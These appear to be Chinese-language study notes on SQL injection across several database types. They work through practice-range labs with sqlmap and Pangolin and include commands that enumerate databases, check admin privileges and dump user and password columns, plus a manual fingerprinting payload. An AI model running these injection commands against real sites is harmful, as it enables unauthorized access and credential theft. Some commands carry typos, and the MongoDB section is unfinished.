目录在这儿
前言(脑图)
- 今天主要是数据库类型,对,右上角那块儿
低权限去数据库去想办法,高权限直接进行操作,总之,前提需要现有注入点注入
正文
Access、mysql、mssql、mongoDB、postgresql、sqlite、oracle、sybase等
1.0. 补充Json注入案例
SELECT * FROM user WHERE username=“‘{$username}’”;
闭合单引号即可,花括号是json数据来的变量的意思
闭合哪个符号全看sql查询语句怎么写
1.1. 简要学习各种数据库的注入特点
数据库架构组成,数据库高权限操作
Access外,其他数据库大同小异,切市面上较少,和sp
1.2. 简要学习各种注入工具的使用指南
熟悉数据库注入工具的支持库,注入模式,优缺点等
Sqlmap,NoSQLAttack,Pangolin等
- 各网站的数据库文件存在网站源码下,因此各数据库独立运行互不相关,因此无法跨库操作,并且也缺少一些功能例如文件读写等(.mdb文件)
- 数据库配置文件决定网站注入点用户权限
- 尝试抓包工具配合注入工具,查看注入语句和注入步骤操作
遗留问题:Access注入时,列名或者表明猜解不到
演示案例
工具链接:
- sqlmap超详细笔记+思维导图
- NoSQLAttack (支持MongDB)
- sqlmap( 拥有更多的自定义功能,更为强大)
数据库结构模式:
Access: (使用范围渐少)
表名
列名
数据
没有information表,因此表名、列名等等都靠暴力拆解
mysql、mssql等:
数据库名A
表名
列名
数据
数据库名B
… …
1. sqlmap+Access
墨者学院:SQL手工注入漏洞测试(Access数据库).
Access没有information表,数据库名、操作系统等等都无法查询,即只能暴力,access只能猜数据,猜不到就GG.
判断注入点时,数据库种类多,且测试方式不同,因此还是用工具(工具也会有误差)
- 首先尝试Sqlmap,但是一直报错
- 应该时直接暴力海量尝试
sqlmap -u http://219.153.49.228:46617/new_list.asp?id=1 --tables
查询所有表
运行初始就看到了admin表,但是跑完
- 尝试爆表内值
sqlmap -u http://219.153.49.228:46617/new_list.asp?id=1 --dump -T "admin"
>
对于墨者靶场这种规模的题目,查询到有admin表以及对应的username和passwd几个关键不如直接手动注入查询,工具跑起来还是困困困
2. Pangolin+Sql-server
墨者学院:SQL手工注入漏洞测试(Sql Server数据库)
每个数据库注入时的区别,每个数据库支持的功能不一样,获取到的权限和可执行操作等不同
- Sql-server界面
- mysql
- Oracle
-
Information页 版本:数据库名、计算机名、数据库名、管理员最高权限、Sql-server对应root (mysql)、数据库各表名、磁盘、用户组、用户
-
获取数据页获取数据库信息,表名数据等
-
文件夹取消的权限可尝试恢复后再执行
判断数据库类型
and exists (select count(*) from sysobjects)--
查询sysobject是否存在,特有文件
3. PostgreSQL
墨者学院:SQL手工注入漏洞测试(PostgreSQL数据库)
注入工具判定数据库类型误报的话,
操作步骤:
-
查看数据库信息
sqlmap http://124.70.71.251:43805/new_list.php?id=1 -v 3
-
查看当前数据库用户权限
sqlmap http://124.70.71.251:43805/new_list.php?id=1 --privileges
或者sqlmap http://124.70.71.251:43805/new_list.php?id=1 --is-dba
非管理员的话需要再寻找所有用户以及对应密码更换账号 -
查看所有数据库名
sqlmap http://124.70.71.251:43805/new_list.php?id=1 --dbs
和当前数据库名sqlmap http://124.70.71.251:43805/new_list.php?id=1 --current-db
-
查看当前数据库所有表名
qlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D "public"
-
查看表明的列名
sqlmap http://124.70.71.251:43805/new_list.php?id=1 --columns -D "public" -T "reg_users"
-
查看列明对应的值
sqlmap http://124.70.71.251:43805/new_list.php?id=1 --dump -C "name,password" -D "public" -T "reg_users"
4. MongoDB
MongoDB常加上python搭建 手工注入
注意网页代码的php语言输出方式,若输出方式相异则显示的信息不全面(tojson) 要么改代码、要么更改数据接收格式。(对于字符串或者Json等echo只显示数据名称,不显示详细数据)
NoSQLAttack工具支持MongoDB:
修改不动,不理解,后续再修改